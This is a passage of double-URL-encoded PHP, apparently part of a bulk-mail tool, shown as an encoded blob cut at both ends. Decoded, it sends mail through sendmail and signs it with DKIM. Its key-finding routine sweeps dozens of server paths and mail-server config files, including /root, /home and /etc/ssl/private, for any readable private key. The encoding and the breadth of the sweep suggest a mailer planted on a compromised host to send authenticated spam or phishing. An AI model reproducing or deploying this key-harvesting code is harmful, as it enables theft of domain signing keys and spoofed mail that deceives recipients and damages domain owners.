2520%2520%2520%2520%25201%2520%253D%253E%2520array%2528%2522pipe%2522%252C%2520%2522w%2522%2529%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%25202%2520%253D%253E%2520array%2528%2522pipe%2522%252C%2520%2522w%2522%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524proc%2520%253D%2520%2540proc_open%2528%2524command%252C%2520%2524desc%252C%2520%2524pipes%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521is_resource%2528%2524proc%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%25201%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fwrite%2528%2524pipes%255B0%255D%252C%2520%2524message%2520.%2520%2524this-%253Eeol%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524pipes%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524pipes%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524pipes%255B2%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524code%2520%253D%2520%2540proc_close%2528%2524proc%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524code%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%25201%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520try_sign_dkim%2528%2524headers%252C%2520%2524body%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%252C%2520%2524add_dot%2520%253D%2520true%252C%2520%2524prepend%2520%253D%2520%2522%2522%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524signed%2520%253D%2520%2524this-%253Esign_email_with_dkim%2528%2524headers%252C%2520%2524body%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524signed%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524add_dot%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524prepend%2520.%2520%2524signed%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524signed%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520sign_email_with_dkim%2528%2524headers%252C%2520%2524body%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%252C%2520%2524selector%2520%253D%2520%2527default%2527%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524private_key%2520%253D%2520%2524this-%253Efind_dkim_key%2528%2524domain%252C%2520%2524selector%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524private_key%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524time%2520%253D%2520time%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520list%2528%2524_%252C%2520%2524header_list%2529%2520%253D%2520%2524this-%253Ecanonicalize_headers_relaxed%2528%2524headers%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524header_list%2520%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524canon_body%2520%253D%2520%2524this-%253Ecanonicalize_body_relaxed%2528%2524body%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524bh%2520%253D%2520base64_encode%2528hash%2528%2527sha256%2527%252C%2520%2524canon_body%252C%2520true%2529%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524dkim_header%2520%253D%2520%2522DKIM-Signature%253A%2520v%253D1%253B%2520a%253Drsa-sha256%253B%2520q%253Ddns/txt%253B%2520c%253Drelaxed/relaxed%253B%2520s%253D%257B%2524selector%257D%253B%2520d%253D%257B%2524domain%257D%253B%2520t%253D%257B%2524time%257D%253B%2520h%253D%257B%2524header_list%257D%253B%2520bh%253D%257B%2524bh%257D%253B%2520b%253D%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524tmp_headers%2520%253D%2520%2524this-%253Emerge_headers_with_dkim%2528%2524headers%252C%2520%2524dkim_header%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520list%2528%2524canon_hdr_for_sign%252C%2520%2524_%2529%2520%253D%2520%2524this-%253Ecanonicalize_headers_relaxed%2528%2524tmp_headers%252C%2520%2524from%252C%2520%2524to%252C%2520%2524domain%252C%2520false%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524canon_hdr_for_sign%2520%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524key%2520%253D%2520%2540openssl_pkey_get_private%2528%2524private_key%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524key%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524signature%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524algo%2520%253D%2520defined%2528%2527OPENSSL_ALGO_SHA256%2527%2529%2520%253F%2520OPENSSL_ALGO_SHA256%2520%253A%25206%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2540openssl_sign%2528%2524canon_hdr_for_sign%252C%2520%2524signature%252C%2520%2524key%252C%2520%2524algo%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528PHP_VERSION_ID%2520%253C%252080000%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540openssl_free_key%2528%2524key%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528PHP_VERSION_ID%2520%253C%252080000%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540openssl_free_key%2528%2524key%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524b64_signature%2520%253D%2520rtrim%2528chunk_split%2528base64_encode%2528%2524signature%2529%252C%252076%252C%2520%2527%2527%2529%252C%2520%2522%255Cn%2522%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524dkim_header_final%2520%253D%2520%2524dkim_header%2520.%2520%2524b64_signature%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524final_headers%2520%253D%2520%2524this-%253Emerge_headers_with_dkim%2528%2524headers%252C%2520%2524dkim_header_final%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524final_headers%2520.%2520%2524this-%253Eeol%2520.%2520%2524this-%253Eeol%2520.%2520%2524body%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520find_dkim_key%2528%2524domain%252C%2520%2524selector%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524key_paths%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/dkim/private.key%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/dkimkeys/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/dkim/keys/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/opendkim/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/mail/dkim/%257B%2524domain%257D.key%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/mail/dkim/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/lib/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/lib/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/db/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/mail/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/mail/dkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/opt/dkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/opt/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/dkim/keys/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/dkim/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/mail/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/mail/dkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/user/dkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/home/user/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/root/dkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/root/opendkim/keys/%257B%2524domain%257D/%257B%2524selector%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/ssl/private/%257B%2524domain%257D.key%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/ssl/private/%257B%2524selector%257D.key%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/exim4/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/postfix/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/spool/postfix/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/spool/exim/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/exim/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/usr/local/etc/postfix/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/amavis/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/rspamd/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/etc/pmta/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/lib/amavis/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/lib/rspamd/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522/var/lib/pmta/dkim/%257B%2524domain%257D.private%2522%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524key_paths%2520as%2520%2524kp%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524kp%2529%2520%2526%2526%2520%2540is_readable%2528%2524kp%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524kp%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524config_files%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/opendkim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/opendkim/opendkim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/local/etc/opendkim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/exim4/exim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/exim/exim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/local/etc/exim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/mail/dkim-milter.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/dkim/dkim.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/amavis/conf.d/50-user%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/rspamd/local.d/dkim_signing.conf%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/etc/pmta/config%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524config_files%2520as%2520%2524configPath%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524configPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524configPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524config%2520%253D%2520%2540file_get_contents%2528%2524configPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524config%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528preg_match%2528%2527/KeyFile%255Cs%252B%2528.%252A%2529/%2527%252C%2520%2524config%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520elseif%2520%2528preg_match%2528%2527/dkim_private_key%255Cs%252A%253D%255Cs%252A%2528.%252A%2529/%2527%252C%2520%2524config%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520elseif%2520%2528preg_match%2528%2527/dkim_key%255Cs%252A%255C%2528.%252A%252C%255Cs%252A%255B%255C%2527%2522%255D%2528.%252A%2529%255B%255C%2527%2522%255D%255Cs%252A%255C%2529/%2527%252C%2520%2524config%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520elseif%2520%2528preg_match%2528%2527/path%255Cs%252A%253D%255Cs%252A%255B%255C%2527%2522%255D%2528.%252A%2529%255B%255C%2527%2522%255D/%2527%252C%2520%2524config%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520elseif%2520%2528preg_match%2528%2527/key-file%255Cs%252A%253D%255Cs%252A%2528.%252A%2529/%2527%252C%2520%2524config%252C%2520%2524matches%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524keyPath%2520%253D%2520trim%2528%2524matches%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524keyPath%2529%2520%2526%2526%2520%2540is_readable%2528%2524keyPath%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524pk%2520%253D%2520%2540file_get_contents%2528%2524keyPath%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pk%2520%2521%253D%253D%2520false%2520%2526%2526%2520strpos%2528%2524pk%252C%2520%2527PRIVATE%2520KEY%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524pk%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%25